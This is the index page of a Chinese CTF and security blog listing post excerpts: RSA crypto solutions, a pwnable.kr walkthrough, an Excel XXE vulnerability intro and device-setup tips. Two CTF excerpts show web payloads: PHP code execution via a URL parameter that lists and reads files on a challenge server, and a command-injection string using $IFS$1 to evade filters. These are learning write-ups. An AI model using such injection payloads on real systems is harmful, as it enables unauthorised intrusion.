December 20, 2023

有锁卡贴 iPhone 配合 Apple Watch 的一些问题

进行任何操作前建议备份数据 / 笔者仅分享使用体验, 不为提到的工具负责 / 自写下这篇博客时 笔者设备的版本信息 iOS 16.4 macOS 14.1 watchOS 9.6.2 iPhone 加载 IPCC / 激活时提示
Read more
December 14, 2023

趣题分享[1] -- 2023年四川网信人才技能大赛(网络安全管理员赛项)决赛

2023年四川网信人才技能大赛(网络安全管理员赛项)决赛 / 题目附件 from Crypto.Util.number import * from secret import flag from sympy import nextprime flag=b'' r = getRandomNBitInteger(64) p = r**5 + r**4 - r**3 + r**2 - r + 2023 q = r**5 - r**4 + r**3 - r**2 + r + 2023 p =nextprime(p) q =nextprime(q) n = p*q def enc(flag, n): m = bytes_to_long(flag) return pow(m, 65537, n) c = enc(flag, n) print(n) print(c) # 25066797992811602609904442429968244207814135173233823574561146780193277243588729282392464721760638040595480284865294238118778099149754637586361909432730412493061503054820202744474632665791457 # 18808483076270941157829928736000549389727451019027515249724024369421942132354537978233676261769285858813983730966871222263698559152437016666829640339912308636169767041243411900882395764607422 Exploit Sage / P.<r> = PolynomialRing(QQ) fp = r**5 + r**4 - r**3 + r**2 - r + 2023 fq = r**5 - r**4 + r**3 - r**2 + r + 2023 print(f'{latex((fp * fq))}') # n的最大项只有r^8,所以对n开十次过后基本就等于r r_max = (1 << 64) - 1 # 接着还可以减一个小值来模拟随机, 或者用题目的r生成方式, 会发现对最后的结果没有影响 p = fp(r = r_max) q = fq(r = r_max) P = Primes() p = P.next(Integer(p)) q = P.next(Integer(q)) n = p * q Diff = int(real_nth_root(n, 10)) - r_max print(f'{Diff = }') # 于是 换上题目数据 n = 25066797992811602609904442429968244207814135173233823574561146780193277243588729282392464721760638040595480284865294238118778099149754637586361909432730412493061503054820202744474632665791457 r = int(real_nth_root(n, 10)) - Diff p = fp(r = r) q = fq(r = r) p = P.next(Integer(p)) q = P.next(Integer(q)) assert p * q == n phi = (p - 1) * (q - 1) e = 0x10001 c = 18808483076270941157829928736000549389727451019027515249724024369421942132354537978233676261769285858813983730966871222263698559152437016666829640339912308636169767041243411900882395764607422 d = inverse_mod(e, phi) m = power_mod(c, d, n) from Crypto.Util.number import long_to_bytes print(long_to_bytes(m)) Output
Read more
November 30, 2023

[CVE-2014-3529] Excel XXE

XXE – 外部实体注入(XML External Entity Injection),为利用 XML 处理器的漏洞的攻击技术。XML 外部实体注入漏洞允许攻击者向应用程序注入恶意内容,并在解析 XML 时触发。
Read more
August 31, 2023

[WebSec 信息泄露] php eval 与 vim 的临时交换文件

题目提示 vim 异常退出, 于是下载 .index.php.swp 进而通过 vim -r index.php.swp 恢复出如下代码 对源码分析后的 payload : ls 根目录 / http://124.221.34.13:50004/?cnss@30fc5b20a309996f3ab12662e3c4ac932c08db7f=$cmd%20=%20%27ls%20/%27;exec($cmd,%20$result,%20$var);var_dump($result);var_dump($var); 发现有 fl4444444g 这个可疑文件 cat flag / http://124.221.34.13:50004/?cnss@30fc5b20a309996f3ab12662e3c4ac932c08db7f=$cmd%20=%20%27cat%20/fl4444444g%27;exec($cmd,%20$result,%20$var);var_dump($result);var_dump($var);
Read more
July 27, 2023

LG TV 和 Mac 的显示兼容问题(开启 4k@120hz 10bit)

M1/M2 系列 MacBook 在链接 LG HDMI 电视时开启 4k-120hz-RGB 的方法: / 购置一条使用 VMM6100 或 VMM7100 的 Type-C to HDMI2.1 线材 / 然后按照此帖子中的办法刷写 固件 / 接着按照此帖子的方法修改 EDID , 修改好后按照帖子中的方法载入并且开启 针对此显示器的自动应用(随便翻译的) 就好了
Read more
July 18, 2023

buuCTF WEB方向刷题(熟悉 Yakit)

[GXYCTF2019]Ping Ping Ping 思路 推测为拼接执行 / $IFS$1 绕过空格, 创建 shell 变量绕过 flag 字符检测 / Payload /?ip=1|ls ls 一下查看文件, 看到有两个文件, 其中一个是 flag.php, 用上面的思路 cat 一下 / /?ip=1;a=g;cat$IFS$1fla$a.php 用 Yakit 传的时候记得关闭左边的强制 https
Read more
July 14, 2023

写给新手的 Crypto 入门&环境配置

同时发布于 https://hello-ctf.com/HC_envSet/Crypto/ / 前言 善于百度, 哪里不懂先去百度, 其实搜索引擎上更推荐 Bing 或是 谷歌, 百度只是要求搜索解决的统一说辞, 还有疑惑则去读 <提问的智慧>, 如果依旧不理解, 可以用从 <提问的智慧> 中学到的提问方式来请教别人.
Read more
July 9, 2023

CryptoCTF 2023

一年一度的密码盛宴, 看春哥队和 yeye5队乱杀了, 今年 r3k 也进入前十了, 还有南邮以及中科大的队都好猛, 还有不说话只做题的队友 www, 你们 tql / 复现进度 … 先收集一下来自discord 的 wp 如下
Read more
July 6, 2023

RSA同模攻击

PPT(图片)地址 / 视频地址(38 分 40 秒) / 数据生成代码(题目/Sage) from Crypto.Util.number import long_to_bytes, bytes_to_long, getPrime flag = b'flag{xxxZOEExxx}' m = bytes_to_long(flag) p = getPrime(1024) q = getPrime(1024) n = p * q phi = (p - 1) * (q - 1) e1 = getPrime(30) e2 = getPrime(20) print(f'{e1 = }') print(f'{e2 = }') print(f'{n = }') d1 = inverse_mod(e1, phi) d2 = inverse_mod(e2, phi) c1 = pow(m, e1, n) c2 = pow(m, e2, n) print(f'{c1 = }') print(f'{c2 = }') 推导 如果 e1 与 e2 互素(不互素就先直接算 r, s, 最后开gcd(e1, e2)次根), 则用拓展欧几里得解r, s 如果 r 是负数, (r 和 s 中有一个必定是负数) 那么再用欧几里得算法计算 $c_1^{-1}$, (为什么要求逆) 有: [公式] 证明 [公式] 得出 $e_1, e_2$,接着我们计算 $m$
Read more
July 2, 2023

PWNable.kr 肥肠适合初学者

col ssh 连上执行ls -la看看(-la参数可以浏览文件属性) cat col.c查看源文件 / #include <stdio.h> #include <string.h> unsigned long hashcode = 0x21DD09EC; unsigned long check_password(const char* p){ int* ip = (int*)p; int i; int res=0; for(i=0; i<5; i++){ res += ip[i]; } return res; } int main(int argc, char* argv[]){ if(argc<2){ printf("usage : %s [passcode]\n", argv[0]); return 0; } if(strlen(argv[1]) != 20){ printf("passcode length should be 20 bytes\n"); return 0; } if(hashcode == check_password( argv[1] )){ system("/bin/cat flag"); return 0; } else printf("wrong passcode.\n"); return 0; } 分析出需要执行 col 这个程序时传参, 而且参数需要20bytes长, 同时要求参数经过 check_password() 后等于 hashcode 变量
Read more